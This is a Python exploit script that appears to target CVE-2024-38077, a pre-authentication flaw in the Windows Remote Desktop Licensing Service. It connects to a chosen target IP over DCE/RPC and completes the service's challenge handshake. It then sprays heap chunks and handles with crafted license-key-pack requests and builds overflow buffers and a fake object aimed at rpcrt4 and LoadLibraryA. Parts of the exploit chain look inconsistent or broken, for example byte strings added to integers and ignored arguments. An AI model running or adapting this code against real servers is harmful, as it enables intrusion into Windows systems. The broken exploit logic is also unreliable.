CVE-2024-38077-POC.py

import struct, hashlib, argparse
from time import sleep
from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.ndr import NDRUniConformantArray, NDRPOINTER, NDRSTRUCT, NDRCALL, NDR
from impacket.dcerpc.v5.dtypes import BOOL, ULONG, DWORD, PULONG, PWCHAR, PBYTE, WIDESTR, UCHAR, WORD, LPSTR, PUINT, WCHAR
from impacket.uuid import uuidtup_to_bin
from Cryptodome.Util.number import bytes_to_long
from wincrypto import CryptEncrypt, CryptImportKey

UUID = uuidtup_to_bin(("3d267954-eeb7-11d1-b94e-00c04fa3080d", "1.0"))
TRY_TIMES = 3
SLEEP_TIME = 210
DESCRIPTION = "MadLicense: Windows Remote Desktop Licensing Service Preauth RCE"
dce = None
rpctransport = None
ctx_handle = None
handle_lists = []
leak_idx = 0
heap_base = 0
ntdll_base = 0
peb_base = 0
pe_base = 0
rpcrt4_base = 0
kernelbase_base = 0
BBYTE = UCHAR


def p8(x):
    return struct.pack("B", x)


def p16(x):
    return struct.pack("H", x)


def p32(x):
    return struct.pack("I", x)


def p64(x):
    return struct.pack("Q", x)


class CONTEXT_HANDLE(NDRSTRUCT):
    structure = (
        ("Data", "20s=b"),
    )

    def getAlignment(self):
        return 4


class TLSRpcGetVersion(NDRCALL):
    opnum = 0
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
        ("version", PULONG),
    )


class TLSRpcGetVersionResponse(NDRCALL):
    structure = (
        ("version", ULONG),
    )


class TLSRpcConnect(NDRCALL):
    opnum = 1


class TLSRpcConnectResponse(NDRCALL):
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
    )


class TLSBLOB(NDRSTRUCT):
    structure = (
        ("cbData", ULONG),
        ("pbData", PBYTE),
    )


class TLSCRYPT_ALGORITHM_IDENTIFIER(NDRSTRUCT):
    structure = (
        ("pszObjId", LPSTR),
        ("Parameters", TLSBLOB),
    )


class TLSCRYPT_BIT_BLOB(NDRSTRUCT):
    structure = (
        ("cbData", DWORD),
        ("pbData", PBYTE),
        ("cUnusedBits", DWORD),
    )


class TLSCERT_PUBLIC_KEY_INFO(NDRSTRUCT):
    structure = (
        ("Algorithm", TLSCRYPT_ALGORITHM_IDENTIFIER),
        ("PublicKey", TLSCRYPT_BIT_BLOB),
    )


class PTLSCERT_PUBLIC_KEY_INFO(NDRPOINTER):
    referent = (
        ("Data", TLSCERT_PUBLIC_KEY_INFO),
    )


class TLSCERT_EXTENSION(NDRSTRUCT):
    structure = (
        ("pszObjId", LPSTR),
        ("fCritical", BOOL),
        ("Value", TLSBLOB),
    )


class TLSCERT_EXTENSION_ARRAY(NDRUniConformantArray):
    item = TLSCERT_EXTENSION


class PTLSCERT_EXTENSION(NDRPOINTER):
    referent = (
        ("Data", TLSCERT_EXTENSION_ARRAY),
    )


class TLSHYDRACERTREQUEST(NDRSTRUCT):
    structure = (
        ("dwHydraVersion", DWORD),
        ("cbEncryptedHwid", DWORD),
        ("pbEncryptedHwid", PBYTE),
        ("szSubjectRdn", PWCHAR),
        ("pSubjectPublicKeyInfo", PTLSCERT_PUBLIC_KEY_INFO),
        ("dwNumCertExtension", DWORD),
        ("pCertExtensions", PTLSCERT_EXTENSION),
    )


class PTLSHYDRACERTREQUEST(NDRPOINTER):
    referent = (
        ("Data", TLSHYDRACERTREQUEST),
    )


class TLSRpcRequestTermServCert(NDRCALL):
    opnum = 34
    structure = (
        ("phContext", CONTEXT_HANDLE),
        ("pbRequest", TLSHYDRACERTREQUEST),
        ("cbChallengeData", DWORD),
        ("pdwErrCode", DWORD),
    )


class TLSRpcRequestTermServCertResponse(NDRCALL):
    structure = (
        ("cbChallengeData", ULONG),
        ("pbChallengeData", PBYTE),
        ("pdwErrCode", ULONG),
    )


class TLSRpcRetrieveTermServCert(NDRCALL):
    opnum = 35
    structure = (
        ("phContext", CONTEXT_HANDLE),
        ("cbResponseData", DWORD),
        ("pbResponseData", BBYTE),
        ("cbCert", DWORD),
        ("pbCert", BBYTE),
        ("pdwErrCode", DWORD),
    )


class TLSRpcRetrieveTermServCertResponse(NDRCALL):
    structure = (
        ("cbCert", PUINT),
        ("pbCert", BBYTE),
        ("pdwErrCode", PUINT),
    )


class TLSRpcTelephoneRegisterLKP(NDRCALL):
    opnum = 49
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
        ("dwData", ULONG),
        ("pbData", BBYTE),
        ("pdwErrCode", ULONG)
    )


class TLSRpcTelephoneRegisterLKPResponse(NDRCALL):
    structure = (
        ("pdwErrCode", ULONG)
    )


class TLSCHALLENGEDATA(NDRSTRUCT):
    structure = (
        ("dwVersion", ULONG),
        ("dwRandom", ULONG),
        ("cbChallengeData", ULONG),
        ("pbChallengeData", PBYTE),
        ("cbReservedData", ULONG),
        ("pbReservedData", PBYTE),
    )


class PTLSCHALLENGEDATA(NDRPOINTER):
    referent = (
        ("Data", TLSCHALLENGEDATA),
    )


class TLSCHALLENGERESPONSEDATA(NDRSTRUCT):
    structure = (
        ("dwVersion", ULONG),
        ("cbResponseData", ULONG),
        ("pbResponseData", PBYTE),
        ("cbReservedData", ULONG),
        ("pbReservedData", PBYTE),
    )


class PTLSCHALLENGERESPONSEDATA(NDRPOINTER):
    referent = (
        ("Data", TLSCHALLENGERESPONSEDATA),
    )


class TLSRpcChallengeServer(NDRCALL):
    opnum = 44
    structure = (
        ("phContext", CONTEXT_HANDLE),
        ("dwClientType", ULONG),
        ("pClientChallenge", TLSCHALLENGEDATA),
        ("pdwErrCode", ULONG),
    )


class TLSRpcChallengeServerResponse(NDRCALL):
    structure = (
        ("pServerResponse", PTLSCHALLENGERESPONSEDATA),
        ("pServerChallenge", PTLSCHALLENGEDATA),
        ("pdwErrCode", ULONG),
    )


class TLSRpcResponseServerChallenge(NDRCALL):
    opnum = 45
    structure = (
        ("phContext", CONTEXT_HANDLE),
        ("pClientResponse", TLSCHALLENGERESPONSEDATA),
        ("pdwErrCode", ULONG),
    )


class TLSRpcResponseServerChallengeResponse(NDRCALL):
    structure = (
        ("pdwErrCode", ULONG),
    )


class TLSRpcRegisterLicenseKeyPack(NDRCALL):
    opnum = 38
    structure = (
        ("lpContext", CONTEXT_HANDLE),
        ("arg_1", BBYTE),
        ("arg_2", ULONG),
        ("arg_3", BBYTE),
        ("arg_4", ULONG),
        ("lpKeyPackBlob", BBYTE),
        ("arg_6", ULONG),
        ("pdwErrCode", ULONG),
    )


class TLSRpcRegisterLicenseKeyPackResponse(NDRCALL):
    structure = (
        ("pdwErrCode", ULONG),
    )


class WIDESTR_STRIPPED(WIDESTR):
    length = None

    def __getitem__(self, key):
        if key == 'Data':
            return self.fields[key].decode('utf-16le').rstrip('\x00')
        else:
            return NDR.__getitem__(self, key)

    def getDataLen(self, data, offset=0):
        if self.length is None:
            return super().getDataLen(data, offset)
        return self.length * 2


class WCHAR_ARRAY_256(WIDESTR_STRIPPED):
    length = 256


class LSKeyPack(NDRSTRUCT):
    structure = (
        ("dwVersion", DWORD),
        ("ucKeyPackType", UCHAR),
        ("szCompanyName", WCHAR_ARRAY_256),
        ("szKeyPackId", WCHAR_ARRAY_256),
        ("szProductName", WCHAR_ARRAY_256),
        ("szProductId", WCHAR_ARRAY_256),
        ("szProductDesc", WCHAR_ARRAY_256),
        ("wMajorVersion", WORD),
        ("wMinorVersion", WORD),
        ("dwPlatformType", DWORD),
        ("ucLicenseType", UCHAR),
        ("dwLanguageId", DWORD),
        ("ucChannelOfPurchase", UCHAR),
        ("szBeginSerialNumber", WCHAR_ARRAY_256),
        ("dwTotalLicenseInKeyPack", DWORD),
        ("dwProductFlags", DWORD),
        ("dwKeyPackId", DWORD),
        ("ucKeyPackStatus", UCHAR),
        ("dwActivateDate", DWORD),
        ("dwExpirationDate", DWORD),
        ("dwNumberOfLicenses", DWORD),
    )


class LPLSKeyPack(NDRPOINTER):
    referent = (
        ("Data", LSKeyPack),
    )


class TLSRpcKeyPackEnumNext(NDRCALL):
    opnum = 13
    structure = (
        ("phContext", CONTEXT_HANDLE),
        ("lpKeyPack", LPLSKeyPack),
        ("pdwErrCode", ULONG),
    )


class TLSRpcKeyPackEnumNextResponse(NDRCALL):
    structure = (
        ("pdwErrCode", ULONG),
    )


class TLSRpcDisconnect(NDRCALL):
    opnum = 2
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
    )


class TLSRpcDisconnectResponse(NDRCALL):
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
    )


class TLSRpcGetServerName(NDRCALL):
    opnum = 4
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
        ("serverName", WCHAR),
        ("nameLen", ULONG),
        ("errCode", ULONG),
    )


class TLSRpcGetServerNameResponse(NDRCALL):
    structure = (
        ("serverName", WCHAR),
        ("nameLen", ULONG),
        ("pdwErrCode", ULONG),
    )


# 反转编码后的字符串
def b24encode(data, charmap):
    data = data[::-1]
    data = bytes_to_long(data)
    enc = b""
    while data != 0:
        tmp = data % len(charmap)
        data //= len(charmap)
        enc += charmap[tmp]
    return enc[::-1]


# 发送注册许可证密钥包请求
def spray_lfh_chunk(size, loopsize):
    payload = b"\x00" * size
    reg_lic_keypack = construct_TLSRpcRegisterLicenseKeyPack(payload)
    try:
        for _ in range(loopsize):
            dce.request(reg_lic_keypack)
    except Exception as e:
        print("[+] Target exists vulnerability")
    else:
        print("[-] Failed to check for vulnerability.")


# 断开连接后的句柄
def disconnect(handle):
    global dce
    disconn = TLSRpcDisconnect()
    disconn["ctx_handle"] = handle
    disconn_res = dce.request(disconn)
    ret = disconn_res["ctx_handle"]
    return ret


# 从句柄列表中移除已经断开连接的句柄
def handles_free():
    global handle_lists, heap_base
    sleep(7)
    for i in range(0x8):
        handle = handle_lists[0x400 + i * 2]
        disconnect(handle)
        handle_lists.remove(handle)


def spray_handles(times):
    global dce, handle_lists
    handle_lists = []
    for _ in range(times):
        rpc_conn = TLSRpcConnect()
        res_rpc_conn = dce.request(rpc_conn)
        handle = res_rpc_conn["ctx_handle"]
        handle_lists.append(handle)


def spray_fake_obj(reg_lic_keypack, times=0x300):
    global dce
    for i in range(times):
        dce.request(reg_lic_keypack)


def construct_TLSRpcTelephoneRegisterLKP(payload):
    global ctx_handle
    tls_register_LKP = TLSRpcTelephoneRegisterLKP()
    tls_register_LKP["ctx_handle"] = ctx_handle
    tls_register_LKP["dwData"] = payload
    tls_register_LKP["pbData"] = payload
    tls_register_LKP["pdwErrCode"] = 0
    return tls_register_LKP


def construct_overflow_arbread_buf(addr, padding):
    payload = b""
    payload += p64(addr)
    if padding:
        payload += p32(0)
        payload += p32(0)
        payload += p32(1)
    tls_register_LKP = construct_TLSRpcTelephoneRegisterLKP(payload)
    return tls_register_LKP


# 构造Payload
def construct_overflow_fake_obj_buf(fake_obj_addr):
    payload = b""
    payload += p64(0)
    payload += p32(0)
    payload += p32(1)
    payload += p32(0)
    payload += p32(1)
    payload += p64(fake_obj_addr)
    payload += p8(1)
    tls_register_LKP = construct_TLSRpcTelephoneRegisterLKP(payload)
    return tls_register_LKP


def arb_read(leakHeapBaseOffset=0):
    global leak_idx, handle_lists, dce, ctx_handle
    if leakHeapBaseOffset != 0:
        spray_lfh_chunk(0x20, 0x800)
    else:
        spray_lfh_chunk(0x20, 0x400)


def construct_fake_obj(heap_base, rpcrt4_base, kernelbase_base, arg1, NdrServerCall2_offset=0x16f50,OSF_SCALL_offset=0xdff10, LoadLibraryA_offset=0xf6de0):
    payload = b""
    payload += b"a" * 21
    payload += rpcrt4_base
    payload += NdrServerCall2_offset
    payload += OSF_SCALL_offset
    payload += heap_base
    payload += kernelbase_base
    payload += LoadLibraryA_offset
    payload += arg1
    fake_obj_addr = rpcrt4_base + NdrServerCall2_offset
    return payload, fake_obj_addr


def construct_TLSRpcRegisterLicenseKeyPack(payload):
    global ctx_handle
    my_cert_exc = bytes.fromhex(
        "308201363081e5a0030201020208019e2bfac0ae2c30300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d3730303630353039323731335a170d3439303630353039323731335a3011310f300d06035504031e06006200620062305c300d06092a864886f70d0101010500034b003048024100b122dfa634ad803cbf0c1133986e7e551a036a1dfd521cd613c4972cd6f096f2a3dd0b8f80b8a26909137225134ec9d98b3acffd79c665061368c217613aba050203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341003f4ceda402ad607b9d1a38095efe25211010feb1e5a30fe5af6705c2e53a19949eaf50875e2e77c71a9b4945d631360c9dbec1f17d7e096c318547f8167d840e")
    my_cert_sig = bytes.fromhex(
        "3082036406092a864886f70d010702a0820355308203510201013100300b06092a864886f70d010701a0820339308201363081e5a0030201020208019e2bfac0ab6d10300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d3730303630353039323731335a170d3439303630353039323731335a3011310f300d06035504031e06006200620062305c300d06092a864886f70d0101010500034b003048024100b122dfa634ad803cbf0c1133986e7e551a036a1dfd521cd613c4972cd6f096f2a3dd0b8f80b8a26909137225134ec9d98b3acffd79c665061368c217613aba050203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341009fd29b18115c7ef500a2ee543a4bb7528403ccb4e9fe7fe3ac2dcbf9ede68a1eca02f97c6a0f3c2384d85ab12418e523db90958978251e28d0e7903829e46723308201fb308201a9a0030201020208019e2bfac0ab6d10300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d3730303630353039323731335a170d3439303630353039323731335a300d310b300906035504031302610030820122300d06092a864886f70d01010105000382010f003082010a0282010100e05a714323273db5f17c731e7db3b07397cf08a6d614484ab715793af931376622e3b86820ddb26ea763636c55092c712296da18049fd7e61b4429b1a14a85ab4567639c2d2fbc6098893ed9c553fb14f9f488f6ffa38f9ee3aaf44888981bdec21e7d617e6c7fc019e8f896098eb76470d56c4666c015f784f172aa7b4999c6fdc48e6e2a4cdaf256d69fcdd14cc82d50eb5a4e48a810679f97a5f6a933dd12e63159a72c1b3ba8c7e59af0dabdcc40f2489df6335f74614b1d2b9016644a12bce70e7470977a6e5025e9251dc4300d6ef39860cad59b06a9b81a27491e83ea826a505c3c756df9529e538259c004a832a67783893486171d3a075db49026e90203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341004b949db70bb077d19adfc707c20420afb99ae1f0a3e857ab4e3f085fe2c84b539412f4235dce03a53a43ddaa76adf7cc32e36af7b8e4e31707f881241d6bf36b3100")
    TEST_RSA_PUBLIC_MSKEYBLOB = bytes.fromhex(
        "080200001066000020000000c61b815f961a35c688b5af232f81158c3a21f95ec897a6efa41d5b23bcf0387e")
    data = b"\x00" * 0x3c
    data += p32(len(payload))
    data += payload
    data += b"\x00" * 0x10
    rsa_pub_key = CryptImportKey(TEST_RSA_PUBLIC_MSKEYBLOB)
    encrypted_data = CryptEncrypt(rsa_pub_key, data)
    key = TEST_RSA_PUBLIC_MSKEYBLOB
    data = encrypted_data
    payload = b""
    payload += p32(len(key))
    payload += key
    payload += p32(len(data))
    payload += data
    reg_lic_keypack = TLSRpcRegisterLicenseKeyPack()
    reg_lic_keypack["lpContext"] = ctx_handle
    reg_lic_keypack["arg_1"] = my_cert_sig
    reg_lic_keypack["arg_2"] = len(my_cert_sig)
    reg_lic_keypack["arg_3"] = my_cert_exc
    reg_lic_keypack["arg_4"] = len(my_cert_exc)
    reg_lic_keypack["lpKeyPackBlob"] = payload
    reg_lic_keypack["arg_6"] = len(payload)
    reg_lic_keypack["pdwErrCode"] = 0
    return reg_lic_keypack


def construct_TLSRpcKeyPackEnumNext(handle):
    pLSKeyPack = LSKeyPack()
    pLSKeyPack["dwVersion"] = 1
    pLSKeyPack["ucKeyPackType"] = 1
    pLSKeyPack["szCompanyName"] = "a" * 255 + "\x00"
    pLSKeyPack["szKeyPackId"] = "a" * 255 + "\x00"
    pLSKeyPack["szProductName"] = "a" * 255 + "\x00"
    pLSKeyPack["szProductId"] = "a" * 255 + "\x00"
    pLSKeyPack["szProductDesc"] = "a" * 255 + "\x00"
    pLSKeyPack["wMajorVersion"] = 1
    pLSKeyPack["wMinorVersion"] = 1
    pLSKeyPack["dwPlatformType"] = 1
    pLSKeyPack["ucLicenseType"] = 1
    pLSKeyPack["dwLanguageId"] = 1
    pLSKeyPack["ucChannelOfPurchase"] = 1
    pLSKeyPack["szBeginSerialNumber"] = "a" * 255 + "\x00"
    pLSKeyPack["dwTotalLicenseInKeyPack"] = 1
    pLSKeyPack["dwProductFlags"] = 1
    pLSKeyPack["dwKeyPackId"] = 1
    pLSKeyPack["ucKeyPackStatus"] = 1
    pLSKeyPack["dwActivateDate"] = 1
    pLSKeyPack["dwExpirationDate"] = 1
    pLSKeyPack["dwNumberOfLicenses"] = 1
    rpc_key_pack_enum_next = TLSRpcKeyPackEnumNext()
    rpc_key_pack_enum_next["phContext"] = handle
    rpc_key_pack_enum_next["lpKeyPack"] = pLSKeyPack
    rpc_key_pack_enum_next["pdwErrCode"] = 0
    return rpc_key_pack_enum_next

def connect_to_license_server(target_ip):
    global dce, rpctransport, ctx_handle
    stringbinding = epm.hept_map(target_ip, UUID, protocol="ncacn_ip_tcp")
    rpctransport = transport.DCERPCTransportFactory(stringbinding)
    rpctransport.set_connect_timeout(100)
    dce = rpctransport.get_dce_rpc()
    dce.set_auth_level(2)
    dce.connect()
    dce.bind(UUID)
    rpc_conn = TLSRpcConnect()
    res_rpc_conn = dce.request(rpc_conn)
    ctx_handle = res_rpc_conn["ctx_handle"]
    get_version = TLSRpcGetVersion()
    get_version["ctx_handle"] = ctx_handle
    get_version["version"] = 3
    res_get_version = dce.request(get_version)
    version = res_get_version["version"]
    print("[+] Get Server version: 0x{:x}".format(version))
    CHAL_DATA = b"a" * 0x10
    RESV_DATA = b"b" * 0x10
    cli_chal = TLSCHALLENGEDATA()
    cli_chal["dwVersion"] = 0x10000
    cli_chal["dwRandom"] = 0x4
    cli_chal["cbChallengeData"] = len(CHAL_DATA) + 1
    cli_chal["pbChallengeData"] = CHAL_DATA + b"\x00"
    cli_chal["cbReservedData"] = len(RESV_DATA) + 1
    cli_chal["pbReservedData"] = RESV_DATA + b"\x00"
    chal_server = TLSRpcChallengeServer()
    chal_server["phContext"] = ctx_handle
    chal_server["dwClientType"] = 0
    chal_server["pClientChallenge"] = cli_chal
    chal_server["pdwErrCode"] = 0
    chal_response = dce.request(chal_server)
    g_pszServerGuid = "d63a773e-6799-11d2-96ae-00c04fa3080d".encode("utf-16")[2:]
    dwRandom = chal_response["pServerChallenge"]["dwRandom"]
    pbChallengeData = b"".join(chal_response["pServerChallenge"]["pbChallengeData"])
    pbResponseData = hashlib.md5(pbChallengeData[:dwRandom] + g_pszServerGuid + pbChallengeData[dwRandom:]).digest()
    pClientResponse = TLSCHALLENGERESPONSEDATA()
    pClientResponse["dwVersion"] = 0x10000
    pClientResponse["cbResponseData"] = len(pbResponseData)
    pClientResponse["pbResponseData"] = pbResponseData
    pClientResponse["cbReservedData"] = 0
    pClientResponse["pbReservedData"] = ""
    resp_ser_chal = TLSRpcResponseServerChallenge()
    resp_ser_chal["phContext"] = ctx_handle
    resp_ser_chal["pClientResponse"] = pClientResponse
    resp_ser_chal["pdwErrCode"] = 0
    res_resp_ser_chal = dce.request(resp_ser_chal)


def leak_addr():
    heap_offset_list = [0x100008, 0x100008, 0x400000, 0x600000, 0x800000, 0xb00000, 0xd00000, 0xf00000]
    arb_read(heap_offset_list)


def pwn(target_ip):
    global dce, rpctransport, handle_lists, leak_idx, heap_base, rpcrt4_base, kernelbase_base, pe_base, peb_base
    print("-" * 0x50)
    print(DESCRIPTION)
    print("[+] target_ip: {0}".format(target_ip))
    print("-" * 0x50)
    try:
        connect_to_license_server(target_ip)
    except (ConnectionResetError, DCERPCException) as e:
        print("[-] RDL连接失败，目标可能未开启RDL")
        exit(0)
    print("[+] RDL开启且连接成功")
    leak_addr()


if __name__ == '__main__':
    parse = argparse.ArgumentParser(description=DESCRIPTION)
    parse.add_argument("--target_ip", type=str, required=True, help="Target IP, eg: 192.168.120.1")
    args = parse.parse_args()
    pwn(args.target_ip)